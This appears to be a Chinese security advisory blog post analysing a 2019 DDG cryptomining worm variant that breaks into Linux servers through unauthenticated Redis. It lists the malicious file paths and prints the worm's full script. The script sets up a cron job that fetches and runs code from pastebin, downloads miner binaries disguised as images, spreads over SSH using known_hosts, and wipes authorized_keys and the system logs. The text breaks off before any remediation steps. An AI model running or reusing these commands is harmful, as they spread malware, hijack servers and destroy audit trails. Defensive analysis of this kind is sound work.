【应急类漏洞】Linux下变种DDG挖矿病毒紧急通告及处置方法

最新推荐文章于 2024-10-09 17:42:05 发布

FLy_鹏程万里

最新推荐文章于 2024-10-09 17:42:05 发布

阅读量1.5k

点赞数

分类专栏：【应急响应】 # 应急类漏洞归纳

【应急响应】同时被 2 个专栏收录

49 篇文章 21 订阅

订阅专栏

应急类漏洞归纳

3 篇文章 1 订阅

订阅专栏

病毒事件介绍

2019年2月21日 Linux下DDG变种挖矿病毒在全国范围内大规模爆发，默安科技应急响应中心经过对样本分析发现，该病毒变种通过Redis未授权访问漏洞进行突破植入，然后使用本地密钥登录.ssh/known_hosts文件中的服务器进行横向传播，造成大量服务器负载增高，无法正常提供业务。

病毒执行的恶意脚本通过以下地址进行储存和更新：

https://pastebin.com/raw/sByq0rym

病毒简要分析

恶意病毒特征如下：

恶意文件列表

使用LD_PRELOAD进行劫持

/etc/ld.so.preload
/usr/local/lib/libioset.so

恶意二进制文件

/tmp/watchdogs
/usr/sbin/watchdogs
/tmp/ksoftirqds

计划任务脚本

/etc/cron.d/tomcat
/etc/cron.d/root
/var/spool/cron/root
/var/spool/cron/crontabs/root
/etc/rc.d/init.d/watchdogs

病毒脚本分析如下：

每15分钟从pastebin上下载经过base64编码的该脚本自身并执行：

export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin
echo "*/15 * * * * (curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh" | crontab -

关闭其他可能存在的挖矿木马：

ps auxf | grep -v grep | grep hwlh3wlh44lh | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /usr/bin/.sshd | awk '{print $2}' | xargs kill -9
ps auxf | grep -v grep | grep /usr/bin/bsd-port | awk '{print $2}' | xargs kill -9
ps auxf|grep -v grep|grep "xmr" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "xig" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "wnTKYg" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "sustes" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "thisxxs" | awk '{print $2}' | xargs kill -9
ps auxf|grep -v grep|grep "hashfish" | awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "kworkerds" | awk '{print $2}'|xargs kill -9

通过chattr指令锁定系统权限，关闭资源占用较高的服务：

chattr -i /etc/cron.d/root
chattr -i /etc/cron.d/system
chattr -i /etc/ld.so.preload
chattr -i /etc/cron.d/apache
chattr -i /var/spool/cron/root
chattr -i /var/spool/cron/crontabs/root
chattr -i /usr/local/bin/dns
chattr -i /usr/sbin/netdns
chattr -i /bin/netstat
rm -rf /etc/cron.d/system /etc/cron.d/apache /etc/cron.hourly/oanacron /etc/cron.daily/oanacron /etc/cron.monthly/oanacron /usr/local/lib/libn
tp.so /etc/init.d/netdns /etc/init.d/kworker /bin/httpdns /usr/local/bin/dns /bin/netstat /usr/sbin/netdns
chkconfig --del kworker
chkconfig --del netdns
p=$(ps auxf|grep -v grep|grep ksoftirqds|wc -l)
if [ ${p} -eq 0 ];then
ps auxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9
fi

杀掉一些DDoS进程：

if [ -e "/tmp/gates.lod" ]; then
    rm -rf $(readlink /proc/$(cat /tmp/gates.lod)/exe)
    kill -9 $(cat /tmp/gates.lod)
    rm -rf $(readlink /proc/$(cat /tmp/moni.lod)/exe)
    kill -9 $(cat /tmp/moni.lod)
    rm -rf /tmp/{gates,moni}.lod
fi

根据内核版本下载病毒程序并执行：

if [ ! -f "/tmp/.lsdpid" ]; then
    ARCH=$(uname -m)
    if [ ${ARCH}x = "x86_64x" ]; then
        (curl -fsSL http://thyrsi.com/t6/672/1550667479x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667479x18226112
09.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
    elif [ ${ARCH}x = "i686x" ]; then
        (curl -fsSL http://thyrsi.com/t6/672/1550667515x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667515x18226112
09.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
    else
        (curl -fsSL http://thyrsi.com/t6/672/1550667515x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667515x18226112
09.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
    fi
        nohup /tmp/watchdogs >/dev/null 2>&1 &
elif [ ! -f "/proc/$(cat /tmp/.lsdpid)/stat" ]; then
    ARCH=$(uname -m)
    if [ ${ARCH}x = "x86_64x" ]; then
        (curl -fsSL http://thyrsi.com/t6/672/1550667479x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667479x18226112
09.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
    elif [ ${ARCH}x = "i686x" ]; then
        (curl -fsSL http://thyrsi.com/t6/672/1550667515x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667515x18226112
09.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
    else
        (curl -fsSL http://thyrsi.com/t6/672/1550667515x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667515x18226112
09.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs
    fi
        nohup /tmp/watchdogs >/dev/null 2>&1 &
fi

通过读取.ssh目录下known_hosts中的服务器地址，尝试使用密钥登录后横向传播：

if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
  for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChec
king=no $h '(curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh >/dev/null 2>&1 &' & done
fi
echo 0>/root/.ssh/authorized_keys
echo 0>/var/spool/mail/root
echo 0>/var/log/wtmp
echo 0>/var/log/secure
echo 0>/var/log/cron

默安主机安全防护系统针对该DDG变种病毒分析如下：